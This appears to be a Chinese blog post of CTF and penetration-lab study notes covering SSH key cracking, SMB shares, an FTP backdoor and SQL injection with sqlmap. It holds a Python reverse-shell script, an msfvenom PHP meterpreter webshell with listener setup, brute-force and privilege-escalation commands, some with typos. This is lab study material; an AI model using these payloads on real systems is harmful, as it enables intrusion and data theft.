热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CTF|WEB学习总结

目录SSHSMB信息泄露FTP服务后门利用CapturetheFlagSQL注入(GET)SQL注入(POST)SSHGET-从指定资源请求数据&#x

目录

  • SSH
  • SMB信息泄露
  • FTP服务后门利用
  • Capture the Flag
  • SQL注入(GET)
  • SQL注入(POST)


SSH

GET -从指定资源请求数据:用GET给后端传参的方法:在?后跟变量,不同变量之间用&隔开
POST- 从指定资源提交要被处理的数据

robots.txt:爬虫协议文件:存放于网站根目录下的ASCII编码的文本文件,存放不允许搜索引擎探测和允许探测的文件名

信息探测
渗透:针对服务器的漏洞探测,进行对应数据包的发送,获取机器最高权限。‘

– nmap -sV 靶场IP地址 挖掘开放服务信息 探测靶场开放的服务与服务的版本
– nmap -A -v 靶场IP地址 探测靶场全部信息
– nmap -O 靶场IP地址 探测靶场的操作系统类型与版本

分析探测结果:
常用端口:0~1023端口,需要针对特殊端口进行探测
对于开放http服务大端口,采取http://[ip]:[port]/访问,如果源代码获取对应信息中没有flag信息,可采用工具探测隐藏页面:dirb http://[ip]:[port]/

SSH建立在应用层上,远程登录会话,有效防止远程管理中信息泄露问题,是基于TCP 22号端口的服务
SSH协议认证机制:
1.基于口令的安全验证:所有传输的数据都会被加密,但不能保证正在连接的服务器就是想要连接的服务器。
2.基于密钥的安全验证:公共密钥放在需要访问的服务器上
两种认证机制都不一定获得root权限

挖掘ssh信息:
一般给出的文件中,id_rsa是私钥文件,id_rsa.pub是公钥文件,公钥存储于服务器端可远程访问因此不需要下载,同时认证关键词文件中包含用户名和主机
使用私钥登录远程服务器 ls -alh 查看对应目录下文件的权限

使用私钥远程登录服务器:
chmod 600 id_rsa 赋予读写权限
ssh -i id_rsa 【用户名】@【服务器IP】
ssh2john id_rsa>rsacrack 将id_rsa密钥信息转换为john可识别的信息
利用字典解密rsacrack信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 即可获得主机的访问权
深入探测根目录 cd /root
查找具有root权限的文件 -find / -perm -4000 2>/dev/null (“/”指根目录, -perm -4000表示执行权限 , 2>/dev/null可避免错误输出)
根据代码审计一步步提升权限
如 char buf[20]; gets(buf) 表示将输入的字符串赋值给buf ,由于buf是数组可以考虑溢出
/bin/sh
whoami用于显示自身用户名称
cat 显示文件内容

对于SSH服务的22端口的靶场首先考虑暴力破解、私钥泄露
对于开放http服务的80端口或者其他端口的靶场,首先考虑通过浏览器访问对应的靶场http服务,或使用探测工具对http的目录进行探测
特别注意特殊端口(大于1024的端口,用户自行支配)
挖掘敏感信息!尤其是robots.txt

对于某些靶场可以使用nikto扫描器挖掘敏感信息 – nikto -host 靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果,挖掘可以利用的敏感信息
利用敏感、弱点信息:“chomd 600 id_rsa” 修改id_rsa的权限 “ssh -i id_rsa 用户名@靶场IP地址” 利用私钥登录服务器(如果私钥文件有解密密码,就需要进行对应的破解)
wget命令用于下载文件,支持HTTP,HTTPS,FTP协议,可以使用HTTP代理
pwd命令用于查看当前工作目录
登录服务器后,需要进行的操作包括:查看当前用户 whoami、id查看当前用户的权限、查看根目录寻找flag文件
如果是root权限表明靶场被全部拿下,如果不是则需要提权。一般情况下flag文件只属于root用户和对应的用户组:
cat /etc/passwd 查看所有用户的列表,用户的关键信息
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录

/etc/crontab 设定系统定期执行的任务,编辑,需要root权限。不同的用户可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。
/etc/crontab下如果有某用户定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,使用netcat执行监听获取对应用户的权限;如果有定时执行的文件,可以切换到对应目录查看对应权限。

编写反弹shell代码:
靶场代码
#!/usr/bin/python
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字(默认使用以太网的TCP套接字)
s.connect((“攻击机IP地址“,”攻击机监听端口“))#使用套接字连接攻击机
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)#标准输入输出和错误输入输出
p=subprocess.call([”/bin/sh","-i"]) #使用子进程调用shell交互模式

攻击机用netcat命令 – nc -lpv 未占用端口
查看占用端口 netstat -pantu

万不得已时需要对ssh服务进行暴力破解,破解最后一个用户名 如hydra、medusa等
利用cupp创建个性化字典
– git clone https://github.com/jeanphorn/common-password.git
– chmod +x cupp.py
– ./cupp.py -i 以交互的方式创建字典
chomd +x cupp.py 赋予可执行权限

使用metasploit破解SSH
在终端输入
msfconsole
– msf > use auxiliary /scanner/ssh/ssh_login
– msf auxiliary(ssh_login) > set rhosts 远程主机IP地址
– msf auxiliary(ssh_login) >set username hadi
– msf auxiliary(ssh_login) >set pass_file hadi.txt
– msf auxiliary(ssh_login)>set threads 5 #设置线程
– msf auxiliary(ssh_login)> show options #查看参数是否设置完全
– msf auxiliary(ssh_login)> verbose true #使每一条登录信息都能被查看到
– msf auxiliary(ssh_login)> run

优化会话
python -c "import pty;pty.spawn(’/bin/bash’)”
su -root #提权操作

获取flag:一般情况下在root目录下

SMB信息泄露

SMB信息泄露
SMB通信协议:主要是Microsoft网络的通讯协议,后来linux移植了SMB,并称为samba。SMB基于TCP-NETBIOS,一般端口使用为139,445
SMB协议:计算机可以访问网路资源,下载对应的资源文件
步骤:
1.信息探测:只给顶一个对应IP地址的靶场机器,需要扫描探测开放的服务。
nmap -sV IP 挖掘开放服务信息
nmap -A -v -T4 IP 挖掘靶场全部信息
2.针对SMB协议,使用空口令若登录成功,下载并查看敏感文件:
smbclient -L IP #列出该IP共享的所有目录和链接
smbclient ‘\IP\share$’ #y用空口令登录后ls查看 #config配置文件中可能有用户名和密码 #mysql -h IP -u 用户名 -p 远程登录数据库
get 敏感文件
3.针对SMB协议远程溢出漏洞进行分析 searchsploit samba版本号
4.针对HTTP协议弱点分析:
浏览器查看网站
使用dirb nikto 探测
寻找突破点,目标登录后台,上传webshell
5.制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw>/root/Desktop/shell.php
启动监听 msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set payload php/meterpreter/reverse_tcp
msf exploit(handler)> set lhost 攻击机IP地址
msf exploit(handler)> set lhost 4444
msf exploit(handler)> run
6.上传webshell
获得反弹的shell :wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
7.查找flag值
优化终端:python -c “import pty;pty.spawn(”/bin/bash")’
查找敏感信息,提升root权限,查看flag值
查找用户名: cat /etc/passwd
查找密码:在共享目录下的敏感文件,提升权限
su 用户名
sudo -l
su sudo

总结:对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
一般情况下flag值都在/root目录下,并需要提升root权限才能查看内容

FTP服务后门利用

FTP(文件传输协议),用于Internet上的控制文件的双向传输,同时也是一个应用程序。

信息探测 nmap -sV 靶场IP
nmap -T4(表示使用nmap最快速度) -A(所有) -v 靶场IP
分析nmap扫描结果挖掘可利用的信息

使用searchsploit+软件名称版本 查看漏洞信息找出可利用的溢出代码

使用metasploit进行溢出:
在终端输入msfconsole(一个大型安全框架)
输入search对应的软件及版本号(搜索是否存在可利用的漏洞模块)
使用exploit
查看可以使用的payload: show payloads
设置payload:set payload
设置参数:show options
set rhost 靶场IP
set lhost 攻击机IP
进行远程溢出 exploit
执行命令 id

优化shell: python -c “import pty;pty.spawn(’/bin/bash’)”
使用python pty开启终端

一般情况下flag在根目录下 cd /root
总结:对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞代码;对于系统,一定要注意利用现成的EXP来root主机

Capture the Flag

信息探测nmap(由于探测可能会漏掉一些端口,因此需要多条探测命令相结合的方法保证能扫描到全部信息)
探测敏感信息: nikto -host http://靶场IP地址:端口(如果是80端口(HTTP服务的端口)可以省略端口号,其他端口不能省略端口号) dirb http://靶场IP地址:端口
对于大端口的非http服务,可以使用nc来探测该端口的banner信息(banner信息中可以得到软件开发商、软件名称版本服务类型等信息,使用某些工具取使用对应的exp进行攻击): nc IP地址 端口号
对于大端口http服务,可以使用浏览器浏览界面查看源代码,寻找flag值
对于http服务,可以使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可以利用的位置
pwd命令查看当前目录

深入挖掘
FTP匿名登录 挖掘敏感信息
在浏览器中输入 ftp://靶场IP 匿名登录ftp服务器根目录,查看敏感文件,注意一定要查看源代码
在站点robots.txt文件中寻找敏感文件,挖掘敏感文件漏洞
对于命令执行中为了绕过对应的限制,可以使用相近命令来代替限制的shell命令 如cat命令可替换为more命令

多尝试!如果一次访问不行可以尝试多次连接(网络连接问题,ping一下试试?)

获得对应的用户名和密码后可以通过ssh来登录系统,查看对应的flag值 ssh 用户名@靶场IP
ssh -p 端口号 用户名@IP地址

总结:注意未知服务的端口,可以使用nc获取对应的banner信息
使用对应相近的shell命令来绕过限制,如cat more
对每一个服务都需要进行对应的探测,不放过任何一个可以利用的点

SQL注入(GET)

SQL注入攻击:通过构建特殊的输入作为参数传入WEB应用程序,而这些输入大多是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
主要原因:程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,http报文中,POST传递的参数

GET 具体步骤
信息探测
深入挖掘
漏洞扫描:web漏洞扫描器 owasp-zap(可以自动发现web应用程序中的安全漏洞,同时也可以提供安全测试)
输入url,扫描器会对url进行爬取并进行漏洞扫描,最后跳转到alert
漏洞利用:对扫描结果进行分析:如果具有SQL注入漏洞可以直接利用(SQL是高危漏洞,可以直接获取 服务器权限)
使用sqlmap利用SQL注入漏洞:sqlmap -u url -dbs 查看数据库名
sqlmap -u url -D“数据库名” -tables 查看对应数据库中的数据表
sqlmap -u url -D “数据库名” -T "表名” -columns 查看对应字段
sqlmap -u url -D “数据库名” -T “表名” -C "列名” -dump 查看对应字段的值(如果有多个字段,用逗号相连接)
也可以直接尝试sqlmap -u -url -os-shell 直接获取shell
information_schema是系统自带数据库
上传shell反弹权限:生成反弹shell msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw>/root/Desktop/shell.php(注意生成的文件从“ 攻击机启动监听:msf>use exploit/multi/handler
msf exploit(handler)>set payload php/meterpreter/reverse_tcp
msf exploit(handler)>set lhost 攻击机IP地址
msf exploit(handler)>set lport 4444
msf exploit(handler)>run

SQL注入(POST)

推荐阅读
  • 【爬虫】关于企业信用信息公示系统加速乐最新反爬虫机制
    ( ̄▽ ̄)~又得半夜修仙了,作为一个爬虫小白,花了3天时间写好的程序,才跑了一个月目标网站就更新了,是有点悲催,还是要只有一天的时间重构。升级后网站的层次结构并没有太多变化,表面上 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • Oracle 和 mysql的9点区别【MySQL】
    数据库|mysql教程oracle,Oracle,money,mysql,coun数据库-mysql教程1.组函数用法规则mysql中组函数在select语句中可以随意使用,但在o ... [详细]
  • 从壹开始前后端分离【 .NET Core2.0 +Vue2.0 】框架之六 || API项目整体搭建 6.1 仓储模式
    代码已上传Github+Gitee,文末有地址  书接上文:前几回文章中,我们花了三天的时间简单了解了下接口文档Swagger框架,已经完全解放了我们的以前的Word说明文档,并且可以在线进行调 ... [详细]
  • 用PHP连接MySQL代码的参数说明【PHP】
    后端开发|php教程PHP,连接,MySQL,参数后端开发-php教程代码是这样的:大图标网站源码,怎么在vscode中调试css,ubuntu退出命令行,系统默认开tomcat, ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • 1关于字符串相邻的两个或多个字符串字面值(引号引起来的字符)将会自动连接到一起:str_catpython!str_cat输出:python!把很长 ... [详细]
author-avatar
紫藤老君的八卦炉
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有